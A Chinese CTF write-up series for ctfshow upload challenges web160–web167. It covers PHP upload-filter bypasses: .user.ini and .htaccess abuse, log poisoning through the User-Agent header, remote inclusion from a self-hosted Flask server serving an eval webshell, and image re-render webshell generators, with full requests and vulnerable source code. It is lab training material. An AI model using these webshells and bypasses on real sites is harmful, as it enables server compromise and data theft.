move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}

}
function check($str){
return !preg_match('/php|\{|\[|\;|log|\(/i', $str);
}
echo json_encode($ret);

web160

原始信息

提供的信息:师傅们可以的

其它前端还是没变化。

解题

这道题限制的符号明显增多了不少,这次试验的是使用日志文件包含进行绕过.

想要绕过的办法是这样子的:使用配置文件.user.ini上传入服务端,再传入图片a作为包含文件包含日志文件,最后从UA头写php代码读取文件目录并且展出文件即可。

试验过使用 <?=eval($_POST[x])?> 进行日志文件的包含,但是死活不成功,原因不详。

具体方法如下:

a.png的内容:
-----------------------------423079147019571131243490681925
Content-Disposition: form-data; name="file"; filename="a.png"
Content-Type: image/png

GIF89?
<?=include"/va"."r/l"."og/ngi"."nx/ac"."cess.l"."og"?>
-----------------------------423079147019571131243490681925--



.user.ini的内容
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

GIF89?
auto_prepend_file=a.png


再次访问UA的时候:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0<?=var_dump(system('ls ../'));?>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0<?=var_dump(system('cat ../flag.php'));?>

说实在,这次测试删了很多次环境,有点乱。下面是源代码:

upload.php

error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if($ext_suffix!='php'){
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if(stripos($content, "php")===FALSE && check($content)){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}

}
function check($str){
return !preg_match('/php|\{|\[|\;|log|\(| |\`/i', $str);
}
echo json_encode($ret);

web161

原始信息

提示信息:狮虎们轻点,嘤嘤嘤

az……

解题

流程其实和上面大差不差:

上传 a.png

Content-Disposition: form-data; name="file"; filename="a.png"
Content-Type: image/png

GIF89?
<?=include"/va"."r/l"."og/ngi"."nx/ac"."cess.l"."og"?>

上传 user.ini

Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

GIF89?
auto_prepend_file=a.png

访问upload文件夹并且利用即可:

GET: /upload/
POST: 1=system('cat ../flag.php');

这题的 upload.php 文件内容如下:

error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if($ext_suffix!='php'){
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if(stripos($content, "php")===FALSE && check($content) && getimagesize($_FILES["file"]["tmp_name"])){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}

}
function check($str){
return !preg_match('/php|\{|\[|\;|log|\(| |\`/i', $str);
}
echo json_encode($ret);

web162–打个点,有很多解决办法

原始信息

提示:姿势挺多的啊?啊?

嘶……这是难度要飙升的感觉……

解题–伪协议(个人的思路)

限制级别提升,无法直接使用点点进行拼接字符串和拼接文件后缀。

刚撞的南墙:包含错误日志无法包含上,插入一句话木马失效(是笔者姿势不够骚)

目前来看仅存黑名单过滤,没过多的限制字符,暂时能进行各种操作。

就笔者目前的水平,第一个想到的是文件包含执行,使用其他文件替代日志文件进行包含,再使用日志文件进行一句话木马的getshell。很遗憾,失败了好几次。

头一次遇到这种有些别扭和拐弯的题目,笔者使用的是 .user.ini + f 两个文件进行伪协议包含文件内容的方式获取flag。

被迫换了个思路:使用伪协议进行flag文件内容的获取。

步骤1 上传.user.ini文件

老生常谈的感觉,上传文件的数据包贴这里了。

POST /upload.php HTTP/1.1
Host: 0c1dc3f7-1be6-4fcb-b3bb-fd8306e157b8.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------300581395340124539282439604028
Content-Length: 633
Origin: http://0c1dc3f7-1be6-4fcb-b3bb-fd8306e157b8.challenge.ctf.show
Connection: close
Referer: http://0c1dc3f7-1be6-4fcb-b3bb-fd8306e157b8.challenge.ctf.show/

-----------------------------300581395340124539282439604028
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

GIF89?
auto_prepend_file=f
-----------------------------300581395340124539282439604028--

包含了一个名字为 f 的文件,把 f 包含到 index.php 当中并且解析为 php .

步骤2 上传f文件进行包含

完整WP

上传文件的整体内如截数据包表单部分,放这了:

-----------------------------300581395340124539282439604028
Content-Disposition: form-data; name="file"; filename="f"
Content-Type: image/png

GIF89?
<?=$b='A'^'o'?>
<?=$eeea='ph'?>
<?=$eeeb='p'?>
<?=$eee="$eeea$eeeb"?>
<?=$fffa='fla'?>
<?=$fffb='g'?>
<?=$fff="$fffa$fffb$b$eee"?>
<?=$ggga=':'?>
<?=$aaa="$eee$ggga//filter/read=convert"?>
<?=$ccc="base64-encode/resource=$b$b/$fff"?>
<?=$xxxx="$aaa$b$ccc"?>
<?=include"$xxxx"?>
-----------------------------300581395340124539282439604028--

详细解析如下:

拼接字符串 php和.

这次使用异或进行限制字符的获取和拼接,保证整个字符串的完整性。

这里使用 cmd-php 获取我们想要的 . 的异或内容:

$ php -r "echo 'A'^'o';"
.

php 文件当中拼接处字符串:

<?=$b='A'^'o'?> 	# 异或出 "."
<?=$eeea='ph'?>
<?=$eeeb='p'?>
<?=$eee="$eeea$eeeb"?> # 拼接出 "php"

拼接flag.php

这个基本就靠前面累起来了。.php 这个字符的拼接依赖的是前面的拼接,flag这个字符串的拼接就纯手拼。

?=$fffa='fla'?>
<?=$fffb='g'?>
<?=$fff="$fffa$fffb$b$eee"?> # 拼出 "flag.php"

拼接伪协议部分和开始文件包含

这里使用的是伪协议 php://filter ,能以 base64 的方式获取文件内容。

<?=$ggga=':'?>
<?=$aaa="$eee$ggga//filter/read=convert"?> # 拼出 php:////filter/read=convert
<?=$ccc="base64-encode/resource=$b$b/$fff"?> # 拼出 base64-encode/resource=../flag.php
<?=$xxxx="$aaa$b$ccc"?> # 拼出完整的伪协议 php:////filter/read=convert.base64-encode/resource=../flag.php
<?=include"$xxxx"?> # 开始进行文件包含

最终的flag:

获取的那个数据包内容如下:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 11 Dec 2023 12:50:21 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.6.40
Content-Length: 608

GIF89?
log.conf/etc/nginx/nginx.conf/var/log/nginx/error.log
phpphpflag:flag.phpphp://filter/read=convertbase64-encode/resource=/var/www/html/flag.phpphp://filter/read=convert.base64-encode/resource=/var/www/html/flag.phpPD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0yMSAyMTozMToyMw0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMTAtMTYgMjI6NDE6NDANCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxhZz0iY3Rmc2hvd3sxYTQ0N2E4MS05M2Y2LTRkM2ItOWIyNi03MTlmNTlkNTVlYWZ9Ijs=1nothing here

截取其中的 base64 的内容:

PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0yMSAyMTozMToyMw0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMTAtMTYgMjI6NDE6NDANCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxhZz0iY3Rmc2hvd3sxYTQ0N2E4MS05M2Y2LTRkM2ItOWIyNi03MTlmNTlkNTVlYWZ9Ijs=

再使用 base64 进行解码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-21 21:31:23
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-16 22:41:40
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


$flag="ctfshow{1a447a81-93f6-4d3b-9b26-719f59d55eaf}";

总结

弊端:依赖的方法被写死,只能直接包含和读取文件,做不到包含一句话木马进行系统进行任意操作。

解题–远程文件包含

依然是使用相同的上传 .user.ini 的方法,改动的是文件 f 的内容:

GIF89a?
<?=include"http://3024726958"?>

这里使用的是将远程的IP地址或域名转换为整数的形式,再使用这个整数化的地址访问文件f,就能实现文件包含了。

<?=eval($_POST['x'])?>

在进行文件包含的时候,默认路由指向的文件不能是php文件,因为我们引用的一定是php文件已经解析过的内容,所以这里使用txt文件包含或者直接无名文件进行包含。

在笔者使用自己的服务器进行测试包含对应的整数IP地址的时候一直出现报错的问题,报错信息是400,为了方便测试,这里稍稍修改:

upload源代码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-24 19:34:52
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-26 15:49:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if($ext_suffix!='php'){
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if(stripos($content, "php")===FALSE && check($content) && getimagesize($_FILES["file"]["tmp_name"])){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}

}
function check($str){
return !preg_match('/php|\{|\[|\;|log|\(| |\`|flag|\./i', $str);
}
echo json_encode($ret);

web163

原始信息

解题

此处引用一位厉害的师傅的wp:https://blog.csdn.net/Kracxi/article/details/122954326#%E6%80%9D%E8%B7%AF

此处使用远程包含,且包含的方法是使用配置文件 .user.ini 进行包含。之前是包含本地的文件,现在是使用http远程文件进行包含。

服务器返回一句话木马的部署方法如下:

部署一句话木马的存放服务器

文件名: app.py

from flask import Flask
from flask import request

app = Flask(__name__)

@app.route("/")
def run_cmd():
return "<h1>Hello World!</h1><?php echo 'kradress';eval($_POST['kradress']);?>"
if __name__ == "__main__":
app.run(host='0.0.0.0',port =80)

服务器启动的方法如下:

gunicorn -b 0.0.0.0:8000 app:app

使用flask搭建的时候,要十分注意一点东西:服务器内的开放端口和服务器外的开放端口。

笔者使用的是Ubuntu服务器,需要使用防火墙开放8000端口:

# 允许特定端口开放
sudo ufw allow 8000/tcp
# 启动防火墙
sudo ufw enable

还有阿里云的服务器.阿里云的服务器开放端口配置要在安全组配置。配置完成后就能访问并且开始打flag了。

使用配置文件 .user.ini 进行远程文件包含

这里提供数据包:

-----------------------------11428732581767129145325591288
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

GIF89a?
auto_prepend_file=http://134123123
-----------------------------11428732581767129145325591288--

服务器就自己搭建吧。

文件包含后,访问对应的主页并且传入参数就能拿flag了。

GET: /upload
POST: kradress=highlight_file('../flag.php');

拿到的flag:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-21 21:31:23
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-16 22:41:40
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


$flag="ctfshow{be1e5ae5-23d7-4412-8a45-f4eae239e49b}";

upload文件内容

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-24 19:34:52
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-26 15:49:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if($ext_suffix!='php'){
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if(stripos($content, "php")===FALSE && check($content) && getimagesize($_FILES["file"]["tmp_name"])){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}

}
function check($str){
return !preg_match('/php|\{|\[|\;|log|\(| |\`|flag|\./i', $str);
}

function clearUpload(){
system("mv ./upload/index.php ./index.php_");
system("rm -rf ./upload/*");
system("mv ./index.php_ ./upload/index.php");
}

sleep(2);
clearUpload();
echo json_encode($ret);

web164–png二次渲染

原始信息

基本没啥提示信息,观察出来的信息是:

GET: download.php?image=4a47a0db6e60853dedfcfdf08a5ca249.png

疑似出现文件包含。

尝试使用远程包含,会直接进行文字提示的报错。

图片错误

解题

这道题利用的是文件的包含执行,把图片包含到代码当中去,就有可能出现图片包含代码并且执行代码内容的情况。

生成图片的脚本:

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>
/*
图片包含的木马是:<?=$_GET[0]($_POST[1]);?>
*/

在Burp抓包并且传参得到flag:

POST /download.php?image=4a47a0db6e60853dedfcfdf08a5ca249.png&0=system HTTP/1.1
Host: ed965271-7464-4b58-961f-ad0b9ad03f5c.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
Origin: http://ed965271-7464-4b58-961f-ad0b9ad03f5c.challenge.ctf.show
Connection: close
Cookie: td_cookie=3688197217
Upgrade-Insecure-Requests: 1

1=cat f*

flag:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-21 21:31:23
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-16 22:41:40
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


$flag="ctfshow{43014430-f7dd-4bf5-a2aa-49ae920433de}";

upload文件的内容

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-24 19:34:52
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-27 17:14:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if(in_array($ext_suffix, array("png"))){
$png = imagecreatefrompng($_FILES["file"]["tmp_name"]);
if($png==FALSE){
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}else{
$dst = 'upload/'.md5($_FILES["file"]["name"]).".png";
imagepng($png,$dst);
$ret = array("code"=>0,"msg"=>md5($_FILES["file"]["name"]).".png");
}
}else{
$ret = array("code"=>3,"msg"=>"只允许上传png格式图片");
}


}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}

}


echo json_encode($ret);

web165

原始信息

都一样,提示信息无法明眼看出有什么变化。

解题

服务端jpg二次渲染的标志:

CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality

和上一道题目有一个共同点:通过渲染插件去包含执行php代码。不过……

网上见到三个脚本,测了快一天实在是测不动了。测试的比较可行的是这位师傅的:https://www.bilibili.com/read/cv17496404/

具体步骤就是使用一张图片,通过如下脚本在cmd运行并且插入木马,上传后得到flag.

  1. 脚本:
<?php
$miniPayload = '<?=system("cat f*");?>';


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
//die('php jpg_payload.php <jpg_name.jpg>');
$argv[1] = '1.jpg';
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
echo "error";
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?> 作者:J_Chanra https://www.bilibili.com/read/cv17496404/ 出处:bilibili
  1. cmd运行:

    cmd:
    $ php web146-3.php 1.jpg
    success!

    这样子就得到相关的图片文件了。

  2. 再把这个图片文件上传上去,使用BP访问即可得到flag。

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-27 16:49:18
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-27 17:11:39
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


$file= $_GET['image'];

$file = strrev($file);
$ext = strrev(substr($file, 0,4));
if($ext==='.jpg' && file_exists("./upload/".strrev($file))){
header('Content-Type:image/jpeg');
include("./upload/".strrev($file));
}else{
echo "图片错误";
}

疑难

实际测试中,能真正实行的php代码验证其实不多,只有下面这两条:

<?=system('ls');?>
<?=system('cat f*');?>

之前运气好,把 dowload.php 源码扣下来了,但就是干不到 upload.php 这个脚本,这是下次要吃瘪的节奏啊……

web166

原始信息

前端的要求:

<div class="layui-container">  
<div class="layui-row" style="height: 40px;"></div>
<div class="layui-elem-quote">
<p id="result">后端校验要严密</p>
</div>
<div class="layui-row">
<div class="layui-col-md12">
<button type="button" class="layui-btn" id="upload" lay-data="{url: 'upload.php', accept: 'images',exts:'zip'}">
<i class="layui-icon">&#xe67c;</i>上传文件
</button>
</div>
</div>
</div>
<div class="layui-row" style="height: 440px;"></div>


</div>
<script src="js/layui.js"></script>
<script>
layui.use('upload', function(){
var upload = layui.upload;

//执行实例
var uploadInst = upload.render({
elem: '#upload' //绑定元素
,url: '/upload/' //上传接口
,done: function(res){
if(res.code==0){
$("#result").html("文件上传成功 <a href='upload/download.php?file="+res.msg+"' target='_blank'>下载文件</a>");
}else{
$("#result").html("文件上传失败,失败原因:"+res.msg);
}

}
,error: function(){
$("#result").html("文件上传失败");
}
});
});
</script>

解题

html中有一部分需要在前端进行修改:

<button type="button" class="layui-btn" id="upload" lay-data="{url: 'upload.php', accept: 'file'}">
<i class="layui-icon">&#xe67c;</i>上传文件
</button>

修改完成后就能提交文件了。下面的是相关的数据包:

POST /upload.php HTTP/1.1
Host: 14110e69-c752-4f7c-8e9a-75cf958b5f79.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------9830625281214664067920966739
Content-Length: 282
Origin: http://14110e69-c752-4f7c-8e9a-75cf958b5f79.challenge.ctf.show
Connection: close

-----------------------------9830625281214664067920966739
Content-Disposition: form-data; name="file"; filename="11111.zip"
Content-Type: application/x-zip-compressed

PKF
<?php var_dump(system('cat ../f*'));?>
PK
-----------------------------9830625281214664067920966739--

非常重要的一个数据:但凡这个没搞对就会出现传不了的情况。

Content-Type: application/x-zip-compressed

然后访问对应的数据包即可输出数据:

GET /upload/download.php?file=2eaa7cebaf94009ea6f40c3841dca980.zip HTTP/1.1
Host: 14110e69-c752-4f7c-8e9a-75cf958b5f79.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://14110e69-c752-4f7c-8e9a-75cf958b5f79.challenge.ctf.show/
Upgrade-Insecure-Requests: 1

flag的内容:

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-21 21:31:23
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-16 22:41:40
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
$flag="ctfshow{f2b00e1d-b60d-4483-a404-63dd9365c962}";

其它文件的内容

upload文件

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-24 19:34:52
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-28 22:14:40
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'application/x-zip-compressed'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if(in_array($ext_suffix, array("zip"))){
move_uploaded_file($_FILES["file"]["tmp_name"], './upload/'.md5($_FILES["file"]["tmp_name"]).'.zip');
$ret = array("code"=>0,"msg"=>md5($_FILES["file"]["tmp_name"]).'.zip');
}else{
$ret = array("code"=>3,"msg"=>"只允许上传zip格式文件");
}


}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}

}


echo json_encode($ret);

/upload/download.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-27 16:49:18
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-28 22:53:44
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);

$file= $_GET['file'];
if(!isset($file)){
die('文件不存在');
}

if(preg_match('/log|flag|data|input|file|compress|phar|http|https|ftp/', $file)){
die('文件不存在');
}

if(check($file)){
die('文件不存在!');
}else{
include($file);
header('Content-Type:application/x-zip-compressed');
}


function check($str){
$ret = FALSE;
$arrayName = array('ftp','file','/','http','https','phar','tmp','php','data','compress');
foreach ($arrayName as $key) {
$ret = checkPro($key,$str);
}
return $ret;
}

function checkPro($key,$str){
$len = strlen($key);
$mt = substr($str, 0,$len);
return $len==$mt;
}

web167

原始信息

解题

上传带码的图片:

Content-Disposition: form-data; name="file"; filename="jz.jpg"
Content-Type: image/jpeg

GIF89a?
<?=eval($_POST[1])?>

上传第二种配置文件:.htaccess

Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: image/jpeg

SetHandler application/x-httpd-php

将所有的文件解析为php文件后,访问对应的文件路径即可。

GET: /upload/jz.jpg
POST: 1=system('ls');

return:
flag.php
images
index.php
js
layui
upload
upload.php

后面照常找出flag就行。

.user.ini上传后不会生效,只有.htaccess生效。

下面是upload的内容:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-24 19:34:52
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-28 22:14:40
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
#error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/jpeg'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
